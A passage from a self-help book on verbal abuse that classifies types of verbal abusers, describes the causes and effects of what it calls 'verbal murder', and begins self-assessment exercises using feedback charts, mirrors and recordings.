When they speak to you, their tones are impatient and their speech pattern appears to be clipped. They just
want to “get on with it.” Their tones, along with what they say, are arrogant. They talk at you, not with you.
They will usually try to diminish, minimize, or brush off anything you try to contribute to the conversation.
These people have an over-inflated ego and under-inflated self-esteem. Otherwise they wouldn't treat others as
they do. In essence, they are very shallow individuals who are closed-minded. You can often detect them from
their facial language, as they seem to literally look down on you. There is usually a sneer or a look of disgust
on their face when they speak to you.
Sneaky Underminers.
These people are some of the most dangerous people you can talk with. They have a lot in common with
Instigators; however, they try to undermine you in a more subtle
Page 42
manner. Instead of doing it in front of you, like the Instigator does, they do it behind your back. They smile a
lot when they talk to you and usually acquiesce to what you say—all the while trying to pick up morsels of
information that they can use against you and stab you in the back with. They try to make you feel so
comfortable around them that you can't help but freely open up to them.
They always try to reinterpret whatever you have said, but they use a negative slant. Then they tend to share
this misinterpreted data with others. The Sneaky Underminers are passive-aggressive and can never be trusted.
“I Love You—I Hate You” People
You're damned if you do and you're damned if you don't when you're dealing with these people. They appear
mostly in romantic relationships and in relationships with children. Perhaps the cruelest thing one can do to a
child, something that can leave permanent emotional scars and traumatize the child, is to give love and then
take it away with such extreme rage and anger. The roller coaster ride of emotions with these people in intimate
relationships can be devastating for both parties involved. Although there are some relationships that thrive on
this high drama, it isn't healthy. They really don't hate you, even though they may say they do in a moment of
rage. In fact, they may feel extremely passionate, bonded, and close to you.
These people often have mental problems, such as a bipolar disorder, which means that unless they are
medicated, they may love you one day and find fault with you the next. They are emotionally confusing to be
around and can drive you crazy. That is why they are often referred to as “crazy makers.” Such a person is too
flowery and tends to speak on two extremes: things are either black or white. There are no shades of gray.
Page 43
“You're No Good!” People.
Deep down, these people really think that they themselves are no good, so they try to project their own selfloathing
onto you. They are constant critics who attempt to find fault with you. They point out only your
negatives.
Often when a relationship grows close and barriers are broken down, this “You're No Good” syndrome may
emerge. It is usually because the person doesn't feel worthy of you or the relationship. They may also be
competitors and trying to get a “leg up” on you by showing you every fault you have.
These people are often gloom-and-doomers. They often walk around with a tight and extended lower lip,
furrowed brow, and an unhappy heart. They are miserable people who don't have enough self-worth. They
often speak in hostile, angry, clipped tones. Giving you a compliment is an extreme rarity. They may speak
nicely to others but their verbal wrath is meant for you.
Yellers, Screamers, and Ragers
These people are extremely out of control, to the point that they cannot talk to anyone unless they're yelling or
screaming at them. They have a volcano of inner rage within them that they constantly spew forth.
Unfortunately, their hot lava melts down everyone they speak to.
You can always tell the Yellers, Screamers, and Ragers even if they aren't engaging in these verbal activities in
your presence. They often sound hoarse. When they speak, you can usually see the veins of their neck popping
out. They can also be recognized by their loud, clipped, attacking, bullet-like staccato tones. Obviously, these
are extremely angry people who need to work out all of their deep-seated inner rage in a therapeutic situation.
Verbal Nazis—My Way or Else!
These people must have order and control in their lives or they cannot function. They don't realize on a
conscious level that there is no way that one can control another person. In their frustration, they become
angrier and downright verbally hostile. They are definitely not team players and have a difficult time getting
along with others, especially in the work environment. These people usually go from job to job. They set
themselves up for a life of disappointment as they are never able to “go with the flow.”
Page 44
They are one of the most difficult verbal abusers to be around, as they believe that “it's my way or the
highway.”
Verbal Nazis are very immature. Like four-year-olds, if you don't do it their way they have a tantrum. The
reason why these people have to be in control is that they cannot function in a world where everything is not
exactly the way they like it. They are recognized by their adamant and emphatic tones. They are poor listeners
and often dismiss or argue with whatever you say, especially if it disagrees with them. Their volume increases
when they don't get their way.
They speak in command terms, threaten, and may even scream, yell, or curse at you.
Guilt-Producing Accusers
Guilt-Producing Accusers make you wrong to make themselves right. But unlike the Verbal Nazis, who use
anger in their attempt to control you, these people use guilt. They let you know that you made a big mistake
and that you should feel bad about it and pay. Often the payment is groveling or saying you're sorry a million
times. Still that may not appease them. They usually bring up your “crime” at some inopportune time as further
ammunition as to why you made them feel so bad. They are perennial “victims” who feel that everyone is
doing them wrong. They try to manipulate you by hitting one of your emotional weak points to make you feel
just as bad as they do. They usually hold a grudge against you for a long time.
When you hear phrases like “You always…,” “You make me…,” “Why do you always…,” “What you did to
me…,” or “Why don't you ever…,” then you know you have been exposed to someone whose aim is to make
you responsible for something in their life that upsets them. They speak in absolute terms. They say just about
anything and even resort to crying in order to get you to “feel bad for what you did.” It seems as though
nothing you can say can appease them, as they tend to go on and on about the woe you “caused” them.
Liars
Liars are one of the most verbally abusive people, because they don't respect you enough to tell you the truth.
Liars often lie for different reasons. Some lie to make themselves feel as though they are more than they really
are, so that you will have more respect for them. These liars are extremely insecure. Others lie because they are
cowardly and can't face the results of their negative actions. Nobody likes a liar. Nobody likes to be fooled,
hoodwinked, or disrespected.
On the other hand, people may not tell the truth because they may not want to hurt your feelings. For example,
if you have an ugly baby that you happen to think is cute, and you ask people what they think, don't expect
them to tell you how ugly the baby is and ask you “where's its tail?” This form of lying can be good and
socially acceptable, and we are not concerned with it.
Page 45
Note that pathological liars are extremely difficult to detect. Being only human, however, they often slip up. If
you suspect they are lying, try to check their story by verifying it with other people and by gathering hard
evidence.
Verbal Icicles
These people withhold their words. They are some of the most difficult people to be around, because you never
know what they are thinking. They never seem to react. If there is a building crumbling behind them or they
just won a million dollars in the lottery, they remain the same—emotionless. They are so frustrating to be
around because you can never get a read on what is going on with them or how they feel about a particular
situation.
In actuality, they mostly live in fear. They are afraid to say the wrong thing or afraid to say something that may
upset someone, so they keep quiet. They speak when spoken to. As a child, they were often brainwashed by the
mantra, “be seen but not heard,” or consistently told to “shut up!” They often lack social graces, which further
compounds their insecurities.
Even though they are quiet and unassuming, beware! They may unfreeze one day and let out emotions that
would scare the most ferocious beast. Withholding words and emotions from you is definitely a major act of
cruelty.
To say that they are inexpressive is an understatement. Sometimes you wonder if they are brain-damaged or
mute. They often have a vacant look. They are often rigid in their facial and body movements. They speak in
monotones or in short clipped phrases. If they should happen to unload, be prepared for someone who won't
shut up or who is ranting and raving in loud, uncontrolled tones. As they let out their stored-up verbal poisons,
their reactions and words may sound more extreme and hostile than the words of those who let out their
emotions regularly.
Page 46
In summary, beware of the following level two verbal abusers:
1. Interrogators
2. Gossiping, Meddling Instigators
3. Condescending Dismissers
4. Sneaky Underminers
5. “I Love You—I Hate You” People””
6. “You're No Good!” People
7. Yellers, Screamers, and Ragers
8. Verbal Nazis
9. Guilt-Producing Accusers
10. Liars
11. Verbal Icicles
Page 47
Chapter 4
Verbal Murder—How and Why?
What Is Verbal Murder?
Verbal abuse leads to verbal murder—the killing of one's spirit, self-esteem, dignity, and self-respect through
emotionally hurtful words and phrases. The aim of verbal murderers is to make you feel bad. The difference
between verbal murderers and verbal abusers is that murderers are relentless. They abuse repeatedly until they
have done irreparable emotional and even physical damage to their victim. If the verbal abuse mentioned in
Chapter 2 continues for any length of time, the result is emotional death—verbal murder.
Who Are Verbal Murderers?
Verbal murderers can be anyone with whom you have ever come in contact who have made you feel less than
human, by the constant horrible things they have said to you and about you. They usually are people so full of
self-loathing or self-hatred that they spew their venom on anyone who happens to be in their path.
Verbal murderers come in all shapes, colors, sizes, and religions. They cross all cultural, sexual, racial, ethnic,
and age barriers. They are from all walks of life and are seen in virtually every profession and in every country
in the world.
Page 48
Half of the verbal murderers know exactly what they are doing. They are very conscious about their motives.
The other half murder automatically or unconsciously. Later in this section, we learn both the conscious and
unconscious reasons why they emotionally kill.
Identifying the Verbal Abusers in Your Life
You might have been verbally abused at one point in your life and not at other points. You may have been
abused mostly by men, or mostly by women, or by certain family members and not by others, or by certain
friends or acquaintances. Perhaps a co-worker, boss, or employee verbally abused you. You may have been
abused verbally as a child without even knowing it.
So do the following exercise. Carefully think back through your life, decade by decade. List people both in
your past and in your present. Tally up how many men verbally abused you, as well as how many women.
Tally up the number of relatives, employers, friends, and so on. Go through all the categories of people listed
on the following chart. In this chart, list the names of people who verbally abused you under each of these
kinds of people who were or are in your life. You might discover patterns showing changes over time about
who verbally abused you in the past and in the present.
Go down the list of Level One Abusers and Level Two Abusers. To specify the type of verbal abuse you may
have received, write the person's name based on his or her relation to you in each of the 21 categories. If you
need more room, use another sheet of paper.

Page 49
When Do Verbal Abusers Turn into Verbal Murderers?
Now that you have identified your verbal abusers, go back and, on a separate piece of paper list all the names
of the people on your chart.
Next to each name, write a number from 1 to 3, indicating the frequency that you received their verbal poison.
Writing 1 means once or a few times, 2 means several times, and 3 means always. Each number 3 indicates that
the named person succeeded in killing something about you emotionally. He went beyond verbal abuse and
should now be considered a verbal murderer.
Just like physical murderers, verbal murderers need to be kept away from people and put behind bars. You
need to keep them away from you at all times. Bar them from your life.
On the other hand, just as prisoners can often be rehabilitated, if the verbal murderer is willing to get some
professional help, or if you can set new limits of ground rules and reestablish your relationship, then the
murderer can be set free. He can now become a productive member of society. Your “society”—your life!

Page 50
Why Does Verbal Murder Happen?
People become verbal murderers for several reasons. Some murderers act unconsciously—they couldn't tell
you why, but something deep within their psyches allows them to act in such a “toxic” manner. Other
murderers are quite conscious. They know exactly why they speak to you the way they do. The following
section explores both the subconscious and conscious reasons for verbal murder.
Unconscious Reasons for Verbal Murder
All too often, people who say and do ugly things to you have no idea why they treated you that way. Even if
you sit them down and ask them point blank why they act as they do, they can't answer you. They know only
that for some unknown reason, you seem to bring out the worst in them, perhaps stimulating their deepest fears.
Hey! Don't Take It Out on Me!
Many people are so frustrated with their own lives that they let out their frustration in the worst way.
Unfortunately, that worst way may be towards you. You may be the recipient of the “kick the cat” syndrome.
This syndrome is named for the old adage about someone who had a hard day or a misfortune. He comes home
and looks to take out his anger on anyone who happens to be there. Unfortunately, the only creature present is
the cat. This angry person literally kicks the cat in order to let out his anger and frustration, even though the cat
has nothing to do with his frustrations.
Verbal murderers may kick you or someone else who is in their way—not physically, but emotionally. Their
boss yelled at them, and they had to take it or risk being fired. Because you are a friend or a family member,
however, they have no qualms about taking out their frustrations on you. They do this by being short-tempered
with you. For example, you call them at work to let them know that you miss them and would like to take them
to lunch. Before you can get a word out, they blurt out gruffly and impatiently, “Didn't I tell you not to call me
at work? What do you want?” At this point, the only thing you want is to get off the phone with them and never
see them again.
All too often, people who are close to us take the liberty of treating us the worst by unloading their anger onto
us. You must never ever let them do this to you. Later on in this book, you will learn what to say in order to
defend yourself in this uncomfortable situation.
Hey! We're Not All Like That!
In their emotional pain, they generalize that all people of a certain group act in a certain way. Because of their
negative experiences with one particular group, they generalize their ill feelings to everyone who is a member
of that group. How many times have we heard women say “men are dawgs (dogs)” or men say “there are no
more good women out there?”
Page 51
After having so many negative experiences, and saying such a thing enough times (whether in jest or not), they
come to believe it. Unconsciously, these verbal murderers condemn an entire race, religious group, sex,
country, profession, or socioeconomic group for the actions of a few bad seeds.
I'm Not That Toxic Person in Your Past!
Just as a verbal murderer condemns people for the group to which they belong, a murderer will often throw
poison verbal darts at someone who reminds him of someone who did him wrong.
Most of the time, however, people who dislike someone don't know the reasons why. If you ask them what that
person did to them to arouse such disdain, they will be at a loss for words.
Unfortunately, if people have had a series of bad personal relationships (in which they have been cheated on
repeatedly, for example), they often might be very suspicious of you and perhaps believe that you are cheating
on them as well. Even if you never give them any cause to think that you desire someone else, they might keep
insisting that you have been unfaithful.
Green with Envy!
Usually, you are stabbed in the back because of envy. In psychological terms, “envy seeks to destroy.” People
undermine you or do whatever they can to hold you back because they are green with envy.

Page 52
The envy shows on their face with their tight-lipped smile and hard swallow whenever you tell them something
good that has happened or is about to happen in your life. You can actually see the veins tense up in their neck
as they have a difficult time swallowing their own venom.
Some people make mean and cutting remarks to you because, consciously or not, they are extremely jealous of
you for some reason. You may think that they have nothing to be jealous about, but in their eyes, you are larger
than life. They wish to have what you have, or they regard you to be “more” than they are. All this may be a
surprise to them, however. If you point out that they are jealous, they might vehemently deny it and profess
how much they like, love, or admire you.
I Really Don't Deserve to Be That Happy!
Have you ever met people who had everything going for them? Things are going smoothly for them until they
open their big mouths and stick their feet inside, sabotaging everything they worked for.
These people feel that deep down they don't deserve good things to happen to them. They see themselves as
impostors who will be “found out” in time, especially if someone gets too close to them. Unconsciously, they
feel that the truth about themselves will be revealed. They have low self-esteem and see themselves as losers,
no matter how successful they may seem by society's standards.
Because they feel that they don't deserve to be happy or liked, let alone loved, they say rude or mean things to
others, including you. They don't realize that this is an attempt to get you to dislike them, so that they can prove
that they are unlovable frauds.
A client of mine broke off her engagement with a man because of his verbal hostility toward her. As she put it,
he would give with one hand and take away with the other. One small example was when she opened the door
to see him and he said “Wow, you look so sexy and gorgeous.” She smiled brightly, but her smile turned into a
frown when he added, “but I hate the color green. It sickens me and you look like you are sick.” He made
comments like these constantly. What her ex-fiancé was doing was verbally destroying a relationship that he
knew would make him happy. He didn't feel that he deserved happiness, so he talked himself and his fiancé out
of it.
I Don't Trust Anybody—Including You!
Just as people project their bad experiences with others onto you, they may also project onto you issues of trust
or lack of trust. They may have had trusts broken in their childhood, business life, or personal life. And it takes
very little to trigger such people's mistrust—cues from your facial or body movement, or from your voice or
what you say. They conclude, rightly or wrongly, and consciously or unconsciously,
Page 53
that you are not forthright, and so they react toward you with verbal abuse. In essence, they are coming across
on the offense to subconsciously protect themselves against you.
Conscious Reasons for Verbal Murder
People also have conscious reasons for trying to murder you verbally. They spew verbal bullets when they can't
stand you, don't want you to succeed, want to control you, or don't want you to be better than they are.
They Just Plain Can't Stand You!
For whatever reason, some people just can't stomach you. You get on their nerves. This is why they can tell
you the worst things about yourself and then say they were only kidding; this is why they can be sarcastic to
you. And if you happen to tell them something bad that's going on in your life, they love it!
They Know You Really Don't Like Them
For the most part, the way you feel about a person is the way they will feel about you. If you aren't too crazy
about someone, chances are that she's not so crazy about you either. People know when they aren't liked and
will often reflect this in their behavior—what they say to you and how they say it.
What's the Use?
Many people resign themselves to a life of despair or mediocrity. Just because things don't go as planned, they
feel that their whole life is a mess. They feel like losers; they expect the worst, and they definitely get the
worst.
As a result, they don't try anything new. There is no excitement in their souls, as their dull tones usually reflect.
Anyone around them who shows a bit of spunk or enthusiasm towards life is regarded as the enemy. Therefore,
they always say something to try to discourage you or squelch your dreams or excitement. They figure that if
they are so miserable, you should be miserable too. They will rain on your parade, pop your balloon, and
deflate your ego. They usually say the phrase “yeah but” when they are going to tear down anything positive
you have said. Unfortunately, their hopelessness tends to be contagious.
Gimme the Reins—I Need to Control You!
The control freak can relate to you—or to anyone else for that matter—only if he has you under his control.
Sometimes, the control freak can hold money, a certain

Page 54
lifestyle, or even a job situation over your head to make sure that you are under his thumb.
The most common situation I have encountered is the woman who goes after her dream man—the fantasy
Prince Charming with the big bucks who can take care of her financially so that she will live happily ever after.
What does he get out of it? He gets the pleasure of controlling her with his big bucks, putting her on a
restrictive budget, and dictating her behavior. Yeah—happily ever after! The price is too high when you give
up your freedom. It doesn't work—you crumble. Even societies crumble when people are controlled or
oppressed. Look at what happened in East Germany and in the former Soviet Union. You can't limit people's
creativity and ambition and expect them to flourish.
You're Incompetent!
When people think you're stupid or can't cut the mustard, they usually speak to you in curt sentences, using
condescending and impatient-sounding tones. They consistently show their frustration whenever they speak to
you directly or speak about you to others.
Often the people around them follow suit. For example, their secretaries, assistants, employees, or friends may
treat you and speak to you in a similar manner. They won't show you the courtesy you deserve. Because they so
consistently treat you like an idiot, you may find yourself carrying out their self-fulfilling prophecy, believing
you are incompetent and acting in accordance to their low expectations of you.
I Just Don't Believe in You!
One client of mine once had a talent agent for her acting career. This agent never got her work and rarely even
took her telephone calls. One day, when talking to another client of mine, a director, I heard about a role that
she would be perfect for. I told the director about her and he sounded very interested in meeting with her.
When she arrived in my office later that morning, I had her immediately telephone her agent in my office. She
put the call on speakerphone so that we could both talk to her agent and I could fill him in on the details of the
project and put him in direct contact with the director.
After placing us on hold for what seemed like an eternity, the agent finally answered the phone with a gruff,
curt, monotonous, disgusted sound “Yeah.” She excitedly told him about the project, which he immediately
started to pooh-pooh. He told her that the casting agents for that project were looking at a lot of people and that
he didn't think she was right for the part. She tried to sound convincing and chipper as she told him what had
taken place in my office with the director. I then got on the phone and
Page 55
told him how the director seemed interested in interviewing his client. But in his sour, negating tone, he
basically told me that it was too big a role and that they were looking for a name and so wouldn't be interested
in her.
When she got off the phone, she was sobbing in frustration. She said that he never believed in her and always
talked down to her, negating everything she ever said or suggested. She felt low and worthless, and even began
to question her own talents and why she was even pursuing an acting career.
Before she got too down, I got her the meeting with the director myself, and she got the role and “kicked her
agent to the curb.”
It's better to be alone than to be around anyone who doesn't believe in you. Such people sabotage your efforts
by not doing anything to help you—they will neglect you or proactively do their best to make sure nothing
good happens to or for you.
I Don't Want You to Be Ahead of Me!
These are the ultimate competitors. Unlike those who are unconsciously jealous, these people are fully
conscious of who you are and the threat they perceive you to be. They are overt in letting you know that they
are the “king,” “queen,” or “star” and that you should stay in your place.
This is all too common among siblings and spouses. Often, spouses start out being in a subservient role in
which they look up to their mate, who makes more money, is in a more powerful position, or is more attractive.
When the tables turn and the previously subservient spouse starts to assert himself or herself, when they begin
to earn more money, or attain equal or more perceived power in the job world, all hell breaks loose. Loveydovey
couples who previously cooed accolades and terms of endearment towards one another now roar at and
demean one another in their attempts to gain the upper hand.
In my practice, I have seen this scenario repeatedly when people lose a lot of weight, have plastic surgery to
improve their looks, or dress differently. People who were supposed to be your “friends”
Page 56
aren't too friendly now that you look or feel better. They liked you in your previous role when they had (at least
in their minds) more than you or felt they were better than you.
These people make life as miserable as possible for you by exhibiting a wide range of toxic behaviors. These
include not acknowledging you, not speaking to you, or ignoring, minimizing, or openly taking issue with
everything you say. They may mock you to others and badmouth you. By doing this, they attempt to gain the
winning edge of other's favorable perception of them as they perpetuate the unfavorable perception of you.
If this happens in a work environment in which the other person is in a more powerful position than you, there
is unfortunately nothing you can do about it. You lose out in that situation, and you have to be the one to leave.
In the long run, this is perhaps for the better—who would want to be around such a toxic person anyway?
Who Said You Can Be That Happy and Lucky?
Many people are so miserable that they can't stand when someone else is happy or has a run of good fortune.
Even if their lives are going well, they resent that yours is, too. Even though they may be smiling at you, they
are wishing you ill. Such people either minimize the good things you tell them or try to top you.
They Did It to Me—Now It's Your Turn!
This type of verbal abuse is common in families in which a parent who was verbally abused passes down
verbal poison to his or her child, who as an adult in turn passes down this ugly heirloom to their child, and so
forth. The old adage “the apple doesn't fall far from the tree” is most appropriate here.
Perhaps one of the worst experiences of my life was getting my first Ph.D., in communication disorders, when I
was 24. Thank goodness I didn't encounter the same emotional torture when, years later, I received my second
Ph.D., this time in counseling psychology. With a few exceptions, the professors in my first doctorate treated
me like dirt. They were rude, condescending, obnoxious, curt, demeaning, uncooperative, unhelpful,
unfriendly, and downright awful to me.
Page 57
I was so depressed over this situation that it took all the energy I could muster just to get up in the morning. I
then decided to see a counselor at the university. When I told her my plight, she threw her head back and
smiled a smile indicating she had often seen this problem before. She then said, “Don't worry, you are just
being initiated into your doctorate the same way they were. Their professors did it to them, and now it's your
turn!” As soon as she said that, I understood the game, and I no longer took their abuse to heart.
Consequences of Being a Verbal Murderer
Verbal murderers are usually embarrassed or ashamed about what they say and do to others. They have so
much inner anger towards themselves that their poisonous words uncontrollably escape from their lips to attack
you. This lack of verbal control often costs them their relationships with friends or family. They find that they
are shunned, unforgiven, and untrusted by those to whom they were once close. Social invitations dry up, and
people usually stay away from them.
Trust is the essence of any relationship, and when trust is shattered, there is usually no going back. These
verbal murderers cannot be trusted, because they may verbally murder again. They cannot keep friends on a
long-term basis. They also become the last to know things, because nobody trusts them—sharing one's
confidences with these verbal murderers is out of the question.
Another consequence of being a verbal murderer is frequent depression. They are often so bitter at others and
life in general that they walk around with a frown, a scowl, or an expressionless face, which further alienates
them from others.
They tend to feel so guilty and ashamed of what they have said and done to so many people that they perceive
themselves in a negative manner; this in turn permits their low self-esteem. And because they hold themselves
in such low esteem, they may act out by being more verbally destructive to others or to themselves. They may
drink, smoke, take drugs, or overeat in order to dull and temporarily quiet the pain lurking inside of them.
Consequences of Being Verbally Murdered
When you have been verbally murdered, part of you has literally died, mentally, emotionally, and spiritually.
You lose your enthusiasm, your smile, and your inner desires and passions. You feel as though there is no hope
left in you.
You become afraid to speak up and share your innermost confidences with anyone. You become closemouthed,
fearful, and withholding around people. Even being around people may become uncomfortable for
you because you are afraid to say anything that you feel could sound stupid or ridiculous. Even though such
fears are usually unwarranted, you are always “on guard” with others.
This fear cuts you off from the viable communication you need with others in order to have solid and open
relationships.
Page 58
If the verbal murder persists over a long period of time, causing you severe stress, this stress may become so
physically devastating to you that it leads to your premature death. You could develop heart disease or even
cancer, as research has consistently proven. Suicide is another unfortunate by-product of consistent verbal
murder. According to various researchers, the rise in teenage suicide could be due to persistent verbal
harassment and feeling so depressed about it that the teen concludes there is no way out.
Page 59
PART 2
PREPARING TO VERBALLY DEFEND YOURSELF
In Part 1, you learned how to recognize the “verbal enemy.” You learned how to size them up, and what
specific signals to look and listen for. You learned how to recognize whether you have been subjected to verbal
abuse. You learned about both the psychological and physical consequences of being subjected to verbal
abuse. Finally, you learned about the specific types of verbal abusers and why they do it.
You can never defend yourself against the verbal enemy unless you are prepared. You can't fight a battle and
expect to win unless you have the right ammunition.
In fighting back, you must come from a position of power and strength. In order to do this, you need to feel
confident that you have all of the equipment essential to help you win the “verbal war.”
This part tells you about all the tactics and strategies you need to come out ahead. First, you learn how to
objectively analyze yourself as you prepare for verbal warfare. Then you learn how to defend yourself and find
out all you need to know about how to gain that added physical, verbal, and communicative advantage against
verbally abusive people.
Page 61
Chapter 5
Analyzing Your Strengths and Weaknesses
When you know yourself, you know how to effectively comport yourself in the world. You know how to
maneuver yourself in any situation, because you are secure enough to know what your psyche or mental
makeup can or cannot tolerate. Therefore, you must have the knowledge and the confidence to know how you
will react to any given situation. If you know that you tend to act in a certain way, but that way cannot gain you
the advantage you need to win the verbal war, you become more conscious of the situation. Thus you can
change your usual way of reacting and behave in a more effective manner, which allows you to verbally slay
your hostile opponent.
How Others See You Does Matter!
Why would you care what anyone thinks about you? After all, how you look, act, and sound is your business,
not theirs. You know in your mind that you are qualified to do any job. You know in your heart that you are a
good person and that anyone would be lucky to have a meaningful relationship with you. You are absolutely
right. However, unless you look, sound, and act in a way that helps you win friends and influence people,
nobody will give you the chance to show how competent you are at that job or take the time to get to know you
and discover what a wonderful, sensitive, and generous person you are.
Page 62
The truth is that we do not live in a meritocracy. In an ideal world, superficial things like appearance shouldn't
matter. In the real world, however, it does matter. If people perceive you in a more positive light, they will treat
you better. They will have more confidence in you, which will translate into better opportunities for you. More
doors will be available to you in your business as well as in your personal life.
Studies consistently show that if you have good posture, a solid walk, an appropriate gaze, the right facial
expressions, and a good voice and proper communication skills, you will be perceived as being wealthier, more
successful in business, less guilty of committing a crime, more intelligent, friendlier, and more sexually
exciting than if you don't possess these qualities.
How Do You Come Across to Others?
To clearly learn about how you come across to others is to ask them objectively what image you give off in
general.
Tell them that they won't hurt your feelings, and they would be doing you a great favor in terms of providing
you with this information.
I came up with this idea when I was sitting on an airplane next to a businessman who was president and CEO
of a highly successful company. He told me that he worked for a company for 25 years and was fired due to
downsizing. He was on the fast track to corporate success and suddenly his world fell apart—his job and his
marriage. He didn't know who he was or where he was going, so he set out on a quest to find out how others
perceived him. He sent out 100 letters to people he knew well—colleagues, acquaintances, family members,
and those whom he felt may not like him.
He asked them to take a few moments to honestly write and tell him what they thought of him. He then
compiled all of the data and came up with a consensus that he was a doer and innovator, he loves people, and
he was personable, friendly, and sensitive towards the needs of others. He spent more time counseling
employees than being concerned about the bottom line. He also found out that he was impatient and at times
has a bad temper—especially when he doesn't get his way.
This information changed his life. He started an employment agency to help scientists and researchers find
jobs, since the business employment agencies were tapped out. In his new position he has never been happier in
his life—all day long, he counsels unemployed scientists whom he knows he helps. He has made more money
than ever before, watches his temper and his impatience, and the best news is that he married one of his
scientist clients and is living happily ever after.
Page 63
The General Consensus About You Is…
In order to make people in your life more comfortable with giving you information about yourself, you may
want to ask them to describe how others may perceive you. This gets them off the spot; they're less likely to
feel they'll embarrass you and themselves, no matter how much you protest that the information won't hurt your
feelings.
You may want to do this with your co-workers, employer, employees, spouse, children, friends, relatives, and
anyone else who knows you.
Write these comments down in a notebook afterwards and then look at certain personality patterns you have, as
well as how they feel you present yourself. Once again, insist that they be 100 percent candid with you so that
you can get a true picture of how the world sees you.
Sometimes, people will have already told you how they feel about you. In these cases, you don't need to ask
them again. Just include their names on the list along with comments they made about you in the past.
Putting Others to the Test
On each page of a small booklet, write the name of the person to whom you are asking these questions, on the
page in your booklet listing with who they represent in your life. Do it with 5–10 people in each category. You
can do it with more than 10 people; the more information you get about how several people perceive you, the
better equipped you are to learn more about yourself and see if consistent negative perceptions crop up. You
may now become aware of them and begin the journey of changing or modifying the negative aspects.
The more you can do to change yourself for the better, the stronger and more powerful you will be in fighting
any verbal battle. Following is a sample chart you can fill out to help you learn how people perceive you. You
can compare this chart by first writing down how you perceive yourself and see if it is in harmony with what
others think of you. If your comments about yourself are widely different from others' comments, this may be a
good reality check for you. It may help you modify or amplify your actions or the way you present yourself.
I See Myself As…
Positive Traits
Negative Traits
1. ____________________ ____________________
2. ____________________ ____________________
continues
Page 64
continued
3. ____________________
____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Family and Relatives Think I Am…
Name
Comments
1. ____________________ ____________________
2. ____________________ ____________________
3. ____________________ ____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Now repeat this same chart noting the opinions of close friends, acquaintances, professionals (doctors,
attorneys, dentists, teachers), and business colleagues.
Consensus of Opinion of Other's Comments About You
Positive Consensus
Negative Consensus
1. Family
2. Close Friends
3. Acquaintances
4. Professionals
5. Business Colleagues and
Employers
General Overall Comment about How Others Perceive Me…
_____________________________________________
_____________________________________________
Page 65
General Overall Comment about How I Perceive Myself…
_____________________________________________
_____________________________________________
Equipment You Need to Objectively Examine Yourself
Before you fight any verbal battles, you need to look at yourself very objectively. You need to get emotionally
naked and put your ego into your back pocket. You need to step outside yourself and pretend that you are
looking at a person other than yourself. Try to look at this person (you) in the same manner as others may be
viewing and perceiving this person.
Besides having an objective mind, you need a mirror, preferably full-length (together with an audiotape or a
video camera), where you can see yourself soon after you are visually recorded. Both the mirror and audiotape
or videotape are ideal devices for observing yourself and keeping a record of the significant changes you make
as you learn new and powerful skills to help yourself in your verbal battles. You will be able to see and hear
the progress you made from the time you first examined or recorded yourself as part of the exercises in this
chapter, to how you are coming across now and in the future.
Mirror, Mirror on the Wall.
Walk up to a full-length mirror and examine the person standing there—you! Observe yourself walking to the
mirror. Now stand in front of the mirror as you usually stand and look at that person in front of you. As silly as
it seems, turn a tape recorder on next to you and talk to a person who is in the room with you. Explain what you
are doing so that the person won't think you have gone nuts. If there is no one there, get on the speaker phone
(if you have one) so that your head won't be cocked against the receiver as you are speaking and listening to the
person on the other line. If your phone isn't next to your full-length mirror, just look in the mirror and start
speaking. Ask yourself some questions.
Talk to the “you” in the mirror as you record yourself on the tape recorder. Ask the “you” questions in the
second person perspective. For example, don't ask “What did I do today?” but “What did you do today?”
If you don't know what to say, the “Talk Back!” section that follows has some suggestions you can discuss with
yourself. Talk to yourself while standing up and then while sitting down in a chair.
Page 66
Perhaps you can ask yourself half of the questions in the “Talk Back!” section while standing and the other half
while sitting.
Here are several topics to discuss with yourself in the mirror or on audiotape or videotape:
1. What was the greatest experience of your life?
2. What are your plans for this week and next week?
3. What would be your innermost fantasy for an ideal life?
4. Who are the three people who have most influenced your life, and how did they do it?
5. Describe your ideal mate.
6. Describe an event in detail that you would like to relive.
No Lies on Videotape
Even though the lighting may not be the best, you can still get true representation of how you come across. Use
the same techniques that were suggested in the preceding section, “Mirror, Mirror on the Wall.” Make sure that
when you videotape yourself standing up and then sitting down, the camera lens is adjusted appropriately. If
you want to have a conversation on videotape with another person in the room, make sure that they are not
shown in the video by appropriately adjusting the camera.
When you play back the videotape to objectively examine yourself, it is best to do it alone, so that nobody can
influence or contribute to your analysis. For example, you don't want to objectively observe that your shoulders
may be rounded when you stand, then have the other person discount your self-analysis by saying something
like, “I don't think they are so rounded.”
Record a Call
Electronics stores sell special tape recorders that enable you to record your telephone conversation with
someone else and play it back later. In many states it is a crime to tape record a conversation without telling the
other person. If this is the case in your state, let the person know that the call is being taped so that you can
examine how you come across on the phone. Assure your partner that the conversation won't be used for any
purpose other than your own self-analysis, and that the other person's voice and taped comments won't be
analyzed or given to anyone else.
Another way to get the tape recording done is to tape your side of the conversation via an external tape
Page 67
recorder. Make certain that the recorder is located not too far away from you, so that you get a more accurate
reading of the way your voice sounds.
A Picture Says a Thousand Words
Sometimes you can determine a lot about the way you come across (for example, your facial expressions and
your sitting and standing posture) from photographs.
The reason many people don't like how they look in photos is that there is something about the photos that
doesn't present them in the best light. Aside from certain people photographing better than others because of
the angles of certain facial features or the way their bodies are positioned, most people know that something
about the photos—they don't know what—reflects something negative about them.
On careful inspection of this matter, I did a small study in which I asked people to look at photos of themselves
taken over time to determine whether they could spot a pattern in the way they sat, stood, or in the way they
presented themselves facially.
To get a clearer perception of people's posture and facial expression, I had them show me some photos of
themselves from different times in their lives. Those who consistently hated their photos regardless of when the
pictures were taken said that they just didn't like the way they looked. When I further analyzed their photos, I
could see that their posture and their facial expression (a consistently tense smile or serious frown, for
example) may have contributed to their negative views of themselves. They also may not have liked the way
they looked because of poor self-esteem.
Getting Emotionally Naked
Before you step into your verbal battle gear, you need to shed your previous ego armor. Your first step in
removing this armor was established when you found out how people in your world looked at you.
Page 68
Now is the time to objectively look at yourself and listen to yourself, warts and all. It may be uncomfortable at
first, largely because you've never done it before.
Know that after you analyze your body language, facial language, the way you speak, and what you say, and
when you learn how to rectify and difficulty you may be having in any of those areas, you are well on your way
